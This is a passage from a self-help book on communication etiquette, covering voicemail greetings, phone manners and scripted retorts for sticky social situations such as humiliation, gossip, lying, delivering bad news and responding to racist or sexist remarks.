name, your number, and a brief message after you hear the beep (tone), your call will be returned just as
soon as possible. Thank you for calling!
It's not possible to take your call right now. If you leave your name, number, and a brief message, your call
will be returned shortly. Please leave your message after the beep. Thank you.
Speak slowly, but not too slowly. Try to sound upbeat, which means don't record it when you are not feeling
your best. Draw out each vowel for approximately one second as you flow one sound into the next. Doing this
allows you to have more crisp and articulate speech as you record your message.
Phone Munching
Let's say you have a chicken leg in your mouth when the phone rings. You pick up the phone and say “hello.”
The person on the other end identifies himself or herself. If it is someone with whom you must preserve a
professional image or do business, spit the chicken out of your mouth immediately and then begin speaking.
Do not, I repeat, do not, chew, swallow, or take another bite until your conversation is finished and you have
hung up the receiver. Under no circumstances do you tell them that they just caught you with a chicken leg in
your mouth. Ugh! No! Never!
Page 263
On the other hand, if it's a friend on the other end of the line, continue chewing, swallow, and then say, “My,
you caught me with a piece of chicken in my mouth. I was just having a little bite to eat. Do you mind if I eat
while we talk or would you prefer talking later?”
Now, that's class! You have taken them off the spot and made it their decision. For some people, having
someone chewing on the other end of the phone is not annoying at all. They never even give it a second
thought. They figure, if you're hungry, no matter where you are or what you are doing, for goodness sake EAT!
Food comes first! Go ahead. Enjoy yourself!
On the other hand, there are those who find eating while on the phone appalling. They find all that smacking
and gooing and chewing annoying, distracting, disgusting, ill-mannered, and distasteful. The bottom line is that
when you are in business mode, never eat on the phone. When you are in friendship mode, check in to see if it's
okay to eat over the phone. If it's not, don't hold it against them. Accommodate them. That's what friends do!
Choose—Them or Me?
People who talk to others while you are on the phone with them are playing some sort of a power trip with you,
or they are so unconscious that you wonder what they are doing in your life to begin with. Business people
often do this to show you what a big shot they are.
Unless it is truly urgent, it is unconscionable and one of the rudest and most disrespectful acts to talk to
someone else when you are on the phone.
Sometimes you have no choice. Interrupting the conversation midstream to tell your housekeeper to turn the
stove off because you smell smoke in the kitchen so your house doesn't burn down is just fine. Scolding threeyear-
old Johnny, who thinks it's fun to stick his hands in the toilet or his fingers into a light socket, is
understandable. What is not understandable is Johnny interrupting you every two seconds to ask you a question
and you responding to every one of his questions—much to the irritation of the person on the other line.
While every book on child language development tells you to answer your child's questions and to respond to
them verbally so that they will learn to speak well, they do not mean while you are on the phone talking to
others.
Page 264
If you are the recipient of this type of phone abuse, whether from a child or a third party, tell the person on the
other end of the line that you have to go. Tell them that you will speak later. Don't even give them a chance to
explain. In essence you are using negative reinforcement. You are punishing them for their rude, ill-mannered
behavior.
If they do this over a long period of time, abruptly tell them you have to go and then get off the phone
immediately. Believe me—they will finally get the message! When you are on the other end of the line, you
can be assured that you will have their undivided attention!
A Return Call Would Be Nice!
Everyone is busy! Actors are busy! Athletes are busy! Mayors are busy! Mothers are busy! CEOs of Fortune
500 companies are busy! Brain surgeons are busy! These busy people still manage to call back! Probably the
reason they are so successful and so well liked is because they respect others enough to call them back!
There is nothing that turns a person off in business or socially then someone who does not respond in kind to a
call! It is both rude and inhumane. It creates hard feelings and can destroy business relationships and personal
relationships forever.
If someone doesn't call you back and you need to talk to them, keep calling until you get them. If they are rude
enough to not return your call, then they won't mind that you are being rude enough to keep calling until you
get through to them.
After hearing that you have called for the umpteenth time, they will grudgingly take your call. At that time, you
say, “I am so sorry to keep calling you. I am usually not this persistent, but since I never heard from you and I
really needed to talk to you, I thought I'd call until I finally got a hold of you.”
Stop Calling Already!
Even though they may annoy you, you can't get too upset with people who call too much because they might be
lonely, they may really like you, they may be dependent upon you, or they value your judgment, opinions,
ideas, and intelligence. Therefore, they regard everything you say as gospel. They want to tell you everything
they are doing in their lives in order to get your approval. They want to take everything they are
Page 265
about to do in their lives and run it past you so that you can tell them what they should and shouldn't do and
why.
In essence, they call you so much because you have been relegated to the role of surrogate “parent.” They don't
mean to be a pest, they just feel that they can't function without you.
Page 267
Chapter 21
Verbal Self-Defense in Sticky Situations.
Before I begin this section on what to say in sticky situations, I must warn you that these words are by no
means the last word! They are merely designed to give you some general idea of what to say. You can follow
them verbatim or you can modify these helpful comments to your particular situation.
As I have expressed several times throughout the book, it is imperative that you know exactly who you are
saying these things to. Depending on who you're speaking to, it is sometimes a good idea to keep your mouth
shut. But if you do decide to speak, you can be sure that using these words can give you confidence in
defending yourself verbally.
Now you will have the words at your tongue's tip to spew forth so that you can say exactly what you meant to
say. When people try to pressure you into something you don't want to do, ask you for money, or humiliate you
in front of someone, they will be quite shocked by the person they chose as a “verbal victim.” When they hear
what you have to say to them, believe me, they will never mess with you again! They will have newfound
respect for you!
Page 268
I'm So Humiliated!
Whether it's done by a co-worker or a friend, there is no worse feeling than being humiliated in front of other
people. You feel like crawling into a hole and never coming out.
When someone does this to you, it makes you feel two feet tall—like a child. In fact, being humiliated usually
makes you regress back to your worst childhood memories—when you were feeling scared, unsure of yourself,
unloved, and unwanted. You regress into that insecure, helpless, defenseless child who has no idea what to say.
Sometimes, the insecure child decides to fight back and becomes rather defensive and even highly aggressive.
Now that we are adults, we are supposed to have more control over our emotions and how we handle people
who try to embarrass or humiliate us—but we don't! We either hang our heads in shame and say nothing, or we
lash out and attack back!
Ouch! Those Coals Are Hot!
When people rake you over the coals or try to berate you in front of someone, they are usually doing this in
order to make themselves look good or to assert their power. What they don't realize is that when they do this
to you in front of others, they usually end up making themselves look bad. The way they treat you might even
influence whether others continue to do business with them.
I have known of several people who stopped doing business with others for this reason. For instance, they have
gone to a business lunch with such a person. After hearing him berate a waiter, they wanted nothing more to do
with him. So, one soothing factor when a person berates you is that it often backfires.
One thing you can say to a person after he has completely ripped you to shreds is to say “Now that that's over,
do you feel better?” Another approach is to completely agree with him. When they say “How could you…?”,
you mirror right back “That's right, how could I?” Get even madder and sound even more irate and louder as
you yell at yourself. Berate yourself more than they berate you. That will not only put a quick stop to their
behavior, they will often come around to your aid. They will usually say “Well it's not all that bad!” They will
try to comfort and appease you.
It's Not So Funny When It's Me!
When someone makes fun of something you did that you didn't find particularly funny, it can be just as
humiliating as when someone rakes you over the coals. When you want to befriend and impress people, you
don't want some idiot telling them

Page 269
about the day you looked ridiculous wearing shoes that didn't match and were so out of it you didn't even
realize you had done it. You cringe because you don't want the listeners to think of you as a flake or a weirdo
who does this all the time. You also don't want them to know the real story—that you were so hung over from
the night before you had no idea where your shoes were, so you grabbed any shoes just so you wouldn't be late.
Another example. You are dying inside as you hear your sadistic colleague tell your potentially new
supervisors about your faux pas at a presentation you gave at a board of directors meeting. She freely and
loudly volunteers that instead of saying “that was the interesting part,” you said “that was the interesting fart.”
Everyone was holding their sides, including you. The only difference was that they were holding their sides
from laughter and you were holding your sides from nausea. You wanted your new colleagues to respect you,
not to laugh at you and see you as a joke.
Since your colleague made you look bad in front of these colleagues, peers, or potential friends, it is best to
laugh along with them and lightheartedly say something like:
• “You must have a touch of Alzheimer's. That wasn't me—that was your [sister, mother, wife, girlfriend,
boyfriend, husband, son, daughter—take your pick!]”
• “You sure know how to show people the best parts of person's image, don't you?”
• “Excuse me, what's your name again? Do I know you? Are we friends? I don't recall any of my friends who
would humiliate someone so badly!”
All the while, you make these statements, remember one major thing—SMILE.
If you didn't smile and gave these lighthearted yet biting answers (which are actually stinging retorts) and
yelled, screamed, and accused, your potential new friends or business associates might see you in an
unfavorable light. This light can shut both professional and personal doors for you.
Burning Brunts of Jokes.
Being the brunt of a joke is much like being the butt of a cigarette. They both burn! Both can destroy your life
forever! One destroys you physically, while the other destroys you mentally and emotionally.
When one is constantly humiliated by being teased or made fun of, even in jest, eventually he comes to believe
it, because it is constantly reinforced. Not only does the person who is teasing him or joking with him remind
him of his shortcomings, but everyone around such a teaser follows suit. Why? Because joking around, no
matter how hurtful it may be to the target of the joke, is contagious. Monkey see, monkey do!

Page 270
One person sees another person making fun of someone, so the others think that person is an easy target. Then
they follow suit, in order to amuse themselves, and proceed to verbally torture the person by making them the
brunt of their jokes. That person is so overwhelmed (especially if he is a child), that he walks away, cries, and
has trouble showing his face publicly.
As an adult, even though he may feel like crying, the minute he is in a group and is singled out as the brunt of a
joke more than once, that is one time too many! If you are such a person, put a stop to it! And do it NOW!
Turn to the person who just made the “joke,” and put on a huge exaggerated phony forced grin. Point your
index finger directly at them. In front of all the other people, say in an upbeat, sing-songy, humorous, jokinglike
voice: “Now its your turn! From now on, the brunt of all jokes will be directed here!” (pointing to the
person). You also have another choice, and that is to act like a disgusted parent. Wave them off by saying
“Enough already! It's getting old!” Say it in a calm, bored, monotone with an accompanied bored look on your
face.
Now if you want to be a little more high-drama, hold up your hand like a traffic cop does to indicate “STOP!”
Say “STOP RIGHT NOW!” Then turn on your heels and leave. Go anywhere—to the bathroom, outside,
anywhere. Just walk away. You will be away for only a minute or two to give them time to reflect on their bad
behavior. Then you will re-enter the room. They will be in shock! There may be silence. It may be the same
initial silence as when a king, queen, or rock star walks into a room! They can't believe you actually came
back, especially after thinking you were so upset with them!
Now that you have thrown them completely off-guard, give a big hearty smile. Resume your conversation.
Believe me—you'll never be a brunt again!
You Don't Like Me! You Really Don't Like Me!
Smile, smile, all the while. Sometimes when a person can't stand you and you smile at her, she suddenly begins
to be able to stand you more and more. Talking to someone who you know really doesn't like you is no fun!
For some reason, perhaps a past transgression, a miscommunication, unwarranted gossip, or jealousy, she just
is not receptive to you. Whenever you are around she gives you the cold shoulder, gives you that “look,” or
says something nasty, curt, cutting, sarcastic, or snippy to you. You can't make excuses for her any longer. It's
way too obvious.
What do you do? Unless it affects your dealings with others or makes you so uncomfortable you feel like
crawling out of your skin or pulling her out of hers, you need to

Page 271
bust her on it ! Be upfront! You have nothing to lose! She doesn't like you anyway!
Say something like this: “Look, I know you have some hard feelings towards me. I am not sure why you do. If
you care to talk about why you feel so badly about me, I would like very much to get that out in the open once
and for all. You never know, maybe there's been a misunderstanding we can clear up.”
Notice that you are saying this in a very casual manner. There is no formality here. You are not giving the
impression that you are reprimanding anyone or pleading with him. Instead, you are being open and honest and
claiming to want to know what's going on.
It is very important to note that while you are making the preceding statement, you should not frown or act too
serious or have a tense or uptight facial expression if you can help it. Instead, try smiling at her. Try to have a
light and casual facial expression. This will help her feel more comfortable in your presence and even mirror
back to your positive and open-faced expression. At least the door is open. She knows you know, and you
know she knows. You were big enough to have made the first move, so if it works, you won! If it doesn't work,
you still won!
By the way, if she doesn't want to talk about it or resists your efforts to be open and put the matter to rest,
chances are she has no reason for not liking you. It's about what you represent to her, not what you actually did
to her. So, now that you know your verbal adversary, be aware!

Page 272
When Someone Says Something Mean or Sarcastic to You
By now, after reading this book, you definitely have a good handle on why people say sarcastic and mean
things to others, especially when they are unprovoked. The very best way to counteract these hostile words,
especially when there was no apparent reason for the person to say them, is to respond in six simple words. The
six words are “Excuse me, what did you say?” When one says these six simple words to other people, the other
person always stops for a moment to regroup. They do it because they need that momentary pause to call upon
the information stored in their brain cells. They need to rewind the imaginary tape of what they said and repeat
it verbatim. Their brain goes into automatic, and then they usually go ahead and repeat what they said.
People who intentionally say something nasty or sarcastic to you definitely don't expect you to ask them to
repeat what they said. In doing so, you have just gained the upper hand! You have just put them on the
defensive in making them explain exactly what they mean by what they said.
Enjoy watching them sputter as they try to worm their way out of their sarcastic or lame comment, or tell you
that ever popular lie that they were “only kidding!” Yeah, sure! I don't think so!
Oh No! Tell Me This Is Just a Bad Dream!
You go to a fancy dinner party with a new date. Many important people with whom you do business and
socialize are there. You feel great until after you are seated for dinner and notice your piggish date with food
slopped all over his face and crumbs and stains all over his clothes, as he talks with his mouth full and both
elbows on the table to someone across the table. Moments later, you hear a shriek, which is really a laugh, as
the two or them laugh at a filthy joke they are telling to an obviously annoyed gentleman seated between them.
It's obvious that both of them are as drunk as skunks.
What do you say to the person who has embarrassed the daylights out of you because he is so out of control
(whether out of anger, medicine, or drugs)?
What do you say to the people who have observed your having the daylights being embarrassed out of you?
With regard to the first question, you always must keep a calm and collected tone. Speak to him in terms of
endearment by calling his name attached to “honey,” “darling,” “love,” or “baby.” This reassures him that he is
still liked in spite of himself and his bad behavior. It helps to calm him down.
In the second situation, what you say to those who observed the two people embarrass you is the following,

Page 273
“It's obvious they have a problem. I am going to try (keep trying) to get them some help.” Don't go on and on
about the specifics of what they did. Don't talk about other occurrences. Just say what I told you to say. Make it
short and sweet and go on to the next subject. Everyone knows what's going on, so you don't have to go into
great detail. Otherwise you are crossing over into the line of gossip.
Please, I Beg You, Please Don't Tell Them That!
What happens when someone you knew from the past (including a family member) or someone you may
currently know starts to repeat a really humiliating event from your past?
Stop them in their tracks! Don't let them continue. Erase it. Say they must be mistaken or are crazy (in fact,
they are absolutely crazy—crazy for bringing it up). If they persist, tell them they are insane. Talk over them.
Never admit it. Say it was someone else. It is not a lie. It was someone else. You aren't the same person you
were five years ago; you've changed completely.
There Are No Representatives in This House of Speakers!
What do you say to someone who has such a control issue that she takes it upon herself to speak on your
behalf, even if you are right in front of her? Well, first hear what she has to say about you, just to see if it
would be something that you would actually say. Then set the rules straight and do it quickly! Those rules are
that absolutely nobody speaks on your behalf! “You speak for yourself in the presence of others!”
How do you get this point across? Well, humor is always a good way, for starters. You can say something like
this. “You know, the last person who spoke on my behalf was my mother back when I was two years old and
really couldn't speak for myself.” Or you might want to say something like “I thought that only lawyers were
supposed to speak for you, and only when you pay them!” Be sure to smile and chuckle for added effect as you
make these quips. She should get the message.
However, there is always the chance that she won't get it. In that case, you might want to be more direct and
tell her politely, “I really appreciate your trying to help me get my point across, as I know that you are as
concerned about the matter as I am, but let me say what I have to.” Usually that will take care of everything.
If she still doesn't get it, and now you are convinced that she is definitely unconscious, you might want to
knock some consciousness into her brain by saying the following: “Thank you, but I
Page 274
don't need an advocate, I can speak for myself and I'm not invisible. I am here.” Or “I have a brain, my
faculties are together, and I am fully capable of speaking for myself, thank you.” If she persists, interrupt her
with the two words she probably hears most often: “SHUT UP!”
Hey! Butt Out!
When someone sticks her nose in your conversation and she has no business doing it, you can say the very
same sort of things that you said to those who speak on your behalf, only phrase it something like this: “You
must have a lot of time on your hands—otherwise you'd be living your own life.” You can go the polite and
kind route and say “Look, I know that you were probably just trying to be helpful, and I appreciate it, but I
really can handle this on my own.” If she continues to get involved, yell at her to “Get a life and get out of
mine!”
You're Really Nice After All!
Many times you will find yourself talking to someone you don't like—someone against whom you have many
prejudices. This is mainly due to someone trashing him. Someone told you all these horrific things about the
person, so you end up having an attitude towards him. You are abrupt and cold in your facial and body
language. People have told you such awful things about him, which of course you believed. Now that you spent
time talking with the person, you really like him. Your entire demeanor changes and he notices it. He mentions
it to you!
What do you say? Should you just be honest and admit that you had heard some not very pleasant things and
thought he was going to be a pain to work with? No. You just keep your mouth shut. Say something (which
isn't a lie) like “I wasn't really all there when I first met you.” It's true! You weren't all there. You had someone
else's mind in you—their opinions and values. Now that you got your mind back, you are all there! You learned
a valuable lesson and you learned it well.
Don't take anyone else's word for it! Make up your own mind!
You Said What About Me?
What do you do when you hear that someone has trashed you? It's the best scenario when you know that she
trashed you and she doesn't know that you know. Let's say you are at a social gathering or even in a work
situation. You go up to her and observe how she reacts to you. Is she standoffish? Super-friendly? Aloof?
Downright hostile? All of these actions tell you a great deal about her character. If you are near her in a workrelated
situation, try your best to sit or stand next to her.
Page 275
Make sure you look at her often and smile. This will make her very uncomfortable and feel very guilty
(providing she has a conscience) for what she said about you. Find an opportune moment, preferably if you can
get her alone for a moment, and break the news to her: “Hey, I hear you've been trashing me” or “I hear you've
said [such and such]; that's not very polite of you.” Watch her squirm. Watch her turn red. Watch her sputter
and stammer. If you want to resolve any misunderstandings because she might make a good business relation,
stick around. If not, adios ex-amigo!
Keep Your Opinions to Yourself!
There are people who are so nasty to be around. They make everyone feel uncomfortable because they are so
opinionated. While having an opinion is a good thing, having too much of an opinion and not listening to the
opinions of others is a bad thing. If someone is highly opinionated, you need to politely say “I appreciate your
opinion. I can understand your point of view. Here's another point of view. What do you think about it?”
If he cuts you off and won't let you speak, if he won't give you a chance to present your opinion or puts your
opinion down all the time, what you need to do is the following:
Put your hand out like a traffic cop would to stop traffic. If you are a woman, take out a mirror (a compact will
do). Show him his face in the mirror. If you don't have a mirror, find a mirror or say “Go to the nearest mirror,
and look in it.” Then add, “The person looking back at you is the only person to whom you can tell your
opinion, because he will always agree with you. You might as well carry a mirror around all the time and have
conversations with yourself.”
Are You Mute or Something?
Let's say you meet someone and he is not the talkative type. He is pretty reserved. He gives one- or two-word
answers. Talking to him is like pulling teeth. He doesn't reciprocate and ask you questions in return. He just sits
there waiting to be asked. He is boring. You sit in silence until you ask the next round of questions.
In order to get the conversation rolling you can try one of the following:
1. Ask him to ask you questions. Make it into a game. Have him ask you a question and then you ask him a
question.
2. Tell him to describe the best movie he ever saw or the best experience he had or the most fun he had or the
worst time he had. Just get him to say more than two words.
3. Tell him that you feel comfortable when people talk to you and that you would appreciate it if he could help
you feel comfortable.
4. Sit in silence too. Say nothing. See who cracks first!
5. LEAVE!
Page 276
Stop Kvetching Already!
After reading this book, you know what the word “kvetch” means. If people are always complaining to you,
after you have tried to be kind and loving and supportive and giving them all the attention you can muster, then
you need to refer them to others.
For example, if they complain about their aches and pains, say “See a doctor.” If they go into detail about how
bad they hurt, say “Call the doctor now.” If they continue, say “Let's call 911 and get an ambulance for you.”
What you say largely depends on what they complain about.
No matter what their complaint is, agree with them, take it to the extreme, and offer to take extreme measures
to rectify the problem as I just illustrated. They will always stop you and this will in turn stop them from
complaining—at least for a while. In essence, you are conditioning them to not complain, at least not to you!
Speaking in Different Languages
I give you a lot of credit for trying to communicate with someone who doesn't speak the same language as you.
I appreciate your attempts at gesturing to them and drawing pictures, pointing to objects and saying words in
their language. But please don't yell at them. They merely don't understand. They aren't deaf! Saying it louder
isn't going to make them better understand what you want to say.
Also, when you're attempting to speak their language, please make sure that you are familiar with key words
and gestures so that you do not embarrass yourself and

Page 277
inadvertently make some obscene gesture. If you make the American “okay” sign to a Brazilian, you have just
caused him to gasp by calling him an ugly word. And don't think you're safe just because a person from
England or Australia speaks English. He or she has a different set of gestures and rules that mean different
things as well. Saying the wrong word can really cause extreme embarrassment.
What Am I, a Bank?
Asking someone for money is one of the most invasive things a person can do. It can destroy friendships and
cause anger and resentment. You really find out a lot about a person and his character when it comes to money
matters. It can change and even end personal and business relationships. That's why we have business
managers, CPAs, and attorneys to handle money matters.
If people are bold enough to ask you for money, you have to be bold enough to ask them to sign a document
stating that the money is only a loan and that they will pay it back by a certain date. As obnoxious as you may
think it seems, ask them to leave something of value like a ring or a piece of jewelry, a stereo—anything as
collateral for the money. Otherwise, believe me, if they don't pay it back in time, you will be maaaaaad!
If they balk, blame it on past experience. You aren't lying. The past experience is what you read about in this
book. Too many of my clients lost too much money but when they held items hostage in return for the money,
they got repaid. If they start yelling at you and put you on the defensive, you can yell back “What do I look
like, a bank?”
What Part of the Word “No” Don't You Understand?
Many people are so persistent that they often persuade you into doing things you don't want to do—anything
from granting them a special favor to getting married! They do this by the Erosion Technique. It's the same one
little kids use when they badger their moms to buy them that certain toy or take them to Disneyland. Like a
broken record, they ask for it over and over and over and over again, never taking “no” for an answer and not
relenting until they finally get what they want!
Tactfully Telling Someone About Body Odor
If someone has bad body odor or bad breath, you have a choice. Either tell that person, or suffocate! It's up to
you! What you say depends upon who is doing the stinking! If it is your boss, you might want to say nothing,
but send an anonymous care package of mouthwash, toothpaste, soap, cologne, deodorant, and a toothbrush. If
it is someone whom you have to be around for a short period of time, who seems on the hostile or
unapproachable side, hold your breath, do your business, and run. If you need to be there a while, say “I don't
mean to offend or embarrass you, but I want to let you know that you have body odor (or bad breath), just in
case you have to get close to a
Page 278
lot of people today.” Just know that they might never speak to you after that and they might hate you because
of their embarrassment. But in the long run you might have done them the biggest favor. If it's a friend or a
lover or a family member, then you can go for it. Tell it like it is! But please be diplomatic!
Ask if maybe they ate something spicy or drank something to cause a heavy odor to come out from their pores.
If they deny it, ask if they used a certain cologne or soap. Hopefully, by now they will get the message. They
will see that you are trying to allow them to save face. By now they will have moved a few feet away from you
or have retreated to the bathroom to brush their teeth or wash up.
Someone Who Never Gets the Bill.
When you have been out to dinner with someone numerous times and he never picks up the bill or contributes
to the bill, speak up! Don't you dare let him get away with it! If you don't speak up then you deserve him taking
advantage of you! Don't let your anger stew and stew! It isn't going to do you any good unless you say
something.
Don't feel sorry for them because they can't afford it and then get upset when they don't reach for the bill. If
they truly can't afford it, then they shouldn't be going out to dinner with you in the first place. Of course there is
another group of people, many of them in the six- and seven-figure salary range, who are just plain cheap. Tell
them to pay up! Don't be so quick to reach for the bill or rescue them from embarrassment. Say, “You know I
always get the bill. Tonight, I'm gonna let you do it. Besides, I left my wallet at home.” If they say “So did I,”
say, “Well, I'll wait here while you go home and get your credit card.” If you live too far, get the waiter and be
assertive. Speak on your friend's behalf. Say “my friend left his card at home, and he's going to give you his
name and number and address and will call you tonight with the credit card number.” SHAME HIM INTO IT!
That will teach him! Of course you might never go out to dinner with him again.
Page 279
Page 281
Chapter 22
Verbal Self-Defense in More Difficult Situations
In Chapter 21, you learned what to say in sticky situations. In this chapter, you learn exactly what to say in
even stickier situations—circumstances where you face a major dilemma. In some cases you may be damned if
you do, and in other cases you may be damned if you don't. In any case, you have choices. You will learn
exactly what to say and how to say it in situations you may have pondered and, perhaps, even dreaded.
Breaking the Bad News
In the days of ancient civilizations, those messengers who were unlucky enough to deliver bad news (sent by,
perhaps, a neighboring king) were beheaded. Hence the expression “don't kill the messenger.” One of the worst
things in the world is to be the bearer of bad news. Even worse than that, of course, is to be the recipient of bad
news.
Being the bad news bearer is not a position you seek out. It seeks you out! It just happens! Suddenly, there you
are, in front of somebody you definitely don't want to be in front of, telling them something you definitely don't
want to tell them.
Page 282
Unless you are a therapist, physician, policeman, fireman, attorney, or minister, you probably are not trained in
how to tell others something horrible or tragic has happened.
Dropping the verbal bomb on someone doesn't always involve telling them that someone has been maimed,
fallen ill, or has died. It may involve firing someone, telling them they owe money, a relationship is over, or
even that you've found someone else in your life. No matter what the message is, it is devastating, agonizing,
and leaves the recipient in excruciating pain.
Thus, the messenger needs to break the news as gingerly as possible. Obviously you cannot be too blunt or
direct, no matter how nervous you are, just so you can get it over with and not have to deal with the aftermath
of emotion. Put yourself, your emotions, your fears, your hang-ups aside. Don't concern yourself with YOU for
now; think of THEM! Don't be afraid to touch them, put your arm around them, hold them, caress them, or
lightly massage their shoulder, back, or arm. Let them cry, scream, and wail. Don't say “please don't cry” or
“don't scream so loud.” Don't let their emotions affect you! Let them get all of their emotions out. Give them
the freedom and the opportunity to grieve any way they see fit!
As the bearer of the bad news, you, unlike the messenger of ancient times, will not literally get your head
chopped off—but it might be close. You need to prepare yourself for what's in store. Forewarned is forearmed.
The person might cry hysterically, to the point that they hyperventilate and faint. You might even have to
perform CPR or call 9ll or an ambulance. They might lash out at you and start hitting and punching at you
blindly.
You're Not the Only One!
Telling someone their spouse has cheated on them is one of the most awkward and difficult things to do,
because there's no way to anticipate in advance what is going on in the mind of the person who you think is
being cheated on. For one thing, she may have an open relationship where such behavior is tolerated, so the
information will not bother her, but you will have been upset with all the time you have spent trying
(unnecessarily) to spare her feelings. Or she may not care. Or she may be glad because she herself is cheating
or looking for an excuse to end the relationship. Or she may want to hurt or kill herself, her spouse, or the
“other woman.”
It is important to know for sure if you are going to reveal such information. How do you know that cheating
was really going on? Did some gossip tell you? Were you actually in the bed with them? Did the alleged other
woman or man spill the beans? If so, to whom did she spill them? To you? If so, are you justified telling this to
the other

Page 283
spouse? And even if the other woman did tell you about the alleged affair, maybe she knows what a gossiping
creep you are and just wanted to stir up a little trouble. As far as his admission, maybe he was just trying to
impress you with his sexual virility. You might be wise just to keep your mouth shut and mind your own
business in this case.
Wives and husbands often can tell whether their spouses have been true, so let them figure it out on their own.
Otherwise you risk being verbally beheaded and banished from someone's life. They will usually be too
embarrassed and the memory of the situation with be too painful a reminder for them to have you around
anymore.
On the other hand, if you don't listen to me and tell, just be prepared to handle them as you would anyone who
just found out they just lost a loved one and was beginning the grieving process.
Talking to the Grieving.
When talking to someone who is mourning the loss of a loved one, remember that you will be interacting with
them at various stages of their cycle of mourning. So they might be in their denial stage or “happy-go-lucky”
stage, where it seems as though they don't care at all that someone they were with for 25 years just dropped
dead. They are so cheery, making everyone coffee and serving cookies, handling out Kleenex and not shedding
a tear. You will obviously talk to them differently than when their wailing stage hits—a day, a month, two
years later.
You need to be tuned in and ready for anything. People grieve in different ways and for different reasons. Use
soft and tender tones. Say comforting but sincere things. Let the bereaved know you are there for them and
follow through on this! Be there when they call, even if it's 2 A.M.! They need you. You offered, so be there!
Dying with Love!
Perhaps the most difficult and heart-wrenching thing to do is talking to a person you know you will never see
again alive. Although approaches to dying are highly personal, based upon people's religious and philosophical
views, the commonality that embraces all humankind can be communicated through two modalities—sound
and touch.
With regard to sound, it is very important to complete your relationship with the person you will no longer
physically see. Through your voice, you must say everything you always wanted to, not holding back! If they
are lucid, you will have given one another a gift no amount of money could buy.

Page 284
Never overlook touch—it is one of the most powerful ways of communicating with the dying. We must hold
up the example of certain African tribes, where people gather their entire village together when a person is
about to die and take turns lovingly caressing, holding, hugging, cuddling, kissing, and massaging the person
until they pass in peace. We need to communicate this same attention to those who don't have much time left
on this earth.
Gotcha!
You caught someone in a lie. What do you do? It depends on what kind of lie and whom they were lying to. If
it was an exaggerated truth said in front a bunch of friends and colleagues to make them look good, who cares?
They tell you they made a six-figure income when they really made five. They tell you they went out with three
gorgeous women on vacation in St. Tropez, when in reality they didn't even have a date. They know they were
lying. You know they were lying. But most likely they don't know you know they were lying. As long as they
feel they boosted their self-esteem after telling their little white lies, who cares?
On the other hand, suppose someone is doing business with you or you are in any type of social relationship
with them (friendship or personal) and they are telling you a blatant lie. I say: BUST THEM! Who the person
is and what the lie is should decide what method you use to let them know you caught them. At first, try letting
them save face. Especially if you like them, smile, muster a little chuckle if you can, and say, “Come on—
what's the real deal?” Usually they will respond with their own humor, returning your laugh, and coming clean
with the truth.

Page 285
If they don't come clean, be more direct and serious. Confront them in a calm and civilized, non-accusatory
manner, beginning the sentence with “I don't feel comfortable…,” “It frustrates me that…,” “I have a gut
feeling…,” “I'm not going to hold it against you…,” “I'm not here to judge you…,” “I'm not gonna yell at
you…,” “We all make mistakes…,” or “Everyone slips up or does strange things once in a while….” You are
giving them a gracious way out. You are letting them off the hook, allowing them to comfortably admit what
they did with no severe repercussions from you.
Now, if they are cagey and still won't come clean, be blunt, bold, and insensitive. Don't worry about hurting
their feelings. They certainly don't care about yours! Say, “Look, I know you're lying to me. Just admit it!” Or,
“Why can't you just admit it? Stop lying! You are a liar! You are lying to me! Now admit it, if you have any
respect for our relationship!” Usually, if they have any conscience and are not pathological liars or sociopaths
or severely psychologically dysfunctional, they will admit it. If not, read on.
Liar, Liar, Pants on Fire! I'll Never Admit I'm a Liar!
We have all experienced firsthand the person who just can't tell the truth no matter what. They have all the
evidence staring them in the face, and guess what? They still lie! It's obvious that this person has some major
psychological problem they haven't yet dealt with.
You need to be direct and blunt and do so in an angry tone! This type of liar needs a lot of approval from
others. That's why they lie. They don't want to look bad in anyone's eyes. So you need to shake a dose of reality
into them. Look right at their face; give them an intense stare, because you do not break eye contact with them.
In a loud, firm, unwavering tone, say “You are a liar. I caught you. I have all the evidence you lied.”
Sweet Talkin' “Ear Candy”
While everyone loves to hear wonderful things about themselves, nobody likes to be manipulated or lied to,
especially about themselves. Nobody wants to hear sweet words—“ear candy”—when the person is really
saying those words with ulterior motives. They may say these sweet nothings (that is really what the words
mean—nothing!) to many different people. They might say these things just to get what they want from that
person. Their view: Give people a piece of “ear candy,” and they will do whatever you want—go to bed with
you, give you that job, give you gifts, anything your heart desires! Of course, the other person gets nothing in
return, only a lot of ear candy.

Page 286
Sexually and Racially Incorrect
When someone makes a racist or sexist remark in front of anyone, they are stupid for two reasons. The first is
the obvious. They are showing how ignorant and backward and insensitive they are. Secondly, they are literally
taking their lives in their own hands. People have been ostracized, families have been torn apart, people have
been jailed, and, unconscionably, even murdered in the name of racism and sexism, as our history books show.
This is not a joke.
Unfortunately, even in today's supposedly politically correct climate, many people are still not so politically
(racially and sexually) correct. Prejudicial comments and sexist comments still bounce about disguised as
humor. This should never be tolerated or condoned under any circumstance. If you are the target of such
remarks, how you respond depends on whether it is said in front of you or in back of you.
Please read this carefully. Do not, I repeat, DO NOT GET PHYSICALLY VIOLENT—ever! Verbally violent?
Well, that's another story, but physical violence is unacceptable.
If the comment was made behind your back, so much the better. Now you know who the clandestine enemy
really is. If the comment was made in front of you, especially if others were present, you have a number of
options, especially if someone was stupid enough to have made the comment at work. The repercussions—
legal and otherwise—are enormous, so you could say nothing and let it be handled by the powers that be. On
the other hand, if the comments were made socially or in other environments, here are some things you can say.
To a racist:
“Guess what? We're exactly the same color under our skin, we're both blood red.” If you really want to play
with their mind, agree with their racist joke. Chuckle and say “Yeah, those___people (the group they were
making fun, of which you are a member) sure are___(pejorative term). I'm sure glad you and I aren't one of
them!” You will leave them with their mouths hanging open, because you are obviously one of that group and
have been bold enough to let them see how obnoxious they are!
In response to a misogynist comment, ask “What century are you from?” or “If it weren't for us, there would be
no you.” You can also have some shocking fun! Let's say as a woman you hear an incredibly vulgar sexual putdown
regarding women. Obviously this man does not respect you as a woman, so you shouldn't think twice
about what you're about to do. Join in. Laugh real loud. They'll look at you strangely! Say “Yeah, those
women—they sure do have great___(compliment about one of their anatomical parts that the joke probably
referred to.) I liked it better when I was a man! I regret having that operation!” Watch them turn! Watch them
squirm!
Page 287
Come On! Just a Little Bite!
How appropriate that the word diet has the letters d-i-e in it, because you are dying to have something you
aren't supposed to eat. With all of the pressures surrounding you, you are a hero if you stick to your plan. You
certainly don't need anyone sabotaging your efforts, whether they mean to or not. Since it is so easy to give into
a persuasive food pusher, you really have to muster up all your verbal and vocal strength as you say a firm and
